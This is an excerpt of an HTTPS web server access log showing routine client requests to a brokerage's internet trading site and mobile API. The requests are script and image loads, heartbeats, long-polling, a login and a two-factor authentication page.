[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:13:23:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:13:23:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936492184 HTTP/1.1" -
[09/Jan/2026:13:23:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:13:23:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:13:23:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:13:23:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:13:23:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:13:23:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936479176 HTTP/1.1" -
[09/Jan/2026:13:23:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767936478288 HTTP/1.1" 3188
[09/Jan/2026:13:23:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 89
[09/Jan/2026:13:23:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:13:23:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:23:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:23:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936498197 HTTP/1.1" -
[09/Jan/2026:13:23:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:23:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 131
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/tc/dialog.html HTTP/1.1" 3188
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:23:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936484290 HTTP/1.1" -
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 698
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:13:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:13:23:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:13:23:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:13:23:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:13:23:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:13:23:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:13:23:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:13:23:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:13:23:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:13:23:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:13:23:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:13:23:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:13:23:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:13:23:36 +0800] 39.144.251.182 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/api/companyservice/companys/diff?last_updated_time=1762396146476&id=147 HTTP/1.1" 28
[09/Jan/2026:13:23:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767936484046 HTTP/1.1" 3188
[09/Jan/2026:13:23:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:13:23:36 +0800] 39.144.251.182 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/images/cc873387-087e-4bf6-bb99-c8cd9b74c50d HTTP/1.1" 75706
[09/Jan/2026:13:23:36 +0800] 39.144.251.182 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/images/c0c510b0-3302-4353-91de-8aee77d6b6ba.png HTTP/1.1" 14223
[09/Jan/2026:13:23:36 +0800] 39.144.251.182 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/api/deviceservice/salt/1879?device_time=1767936485294&token=260930 HTTP/1.1" 72
[09/Jan/2026:13:23:36 +0800] 39.144.251.182 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MobileAPI/images/cc873387-087e-4bf6-bb99-c8cd9b74c50d HTTP/1.1" 75706
[09/Jan/2026:13:23:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:23:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:23:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:13:23:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:23:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:23:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:23:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:23:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936504191 HTTP/1.1" -
[09/Jan/2026:13:23:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936489472 HTTP/1.1" -
[09/Jan/2026:13:23:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:13:23:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:13:23:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:13:23:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:23:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 459
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:23:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767936491411 HTTP/1.1" 3188
[09/Jan/2026:13:23:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:13:23:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936494531 HTTP/1.1" -
[09/Jan/2026:13:23:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:23:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:23:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936499709 HTTP/1.1" -
[09/Jan/2026:13:23:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936504822 HTTP/1.1" -
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
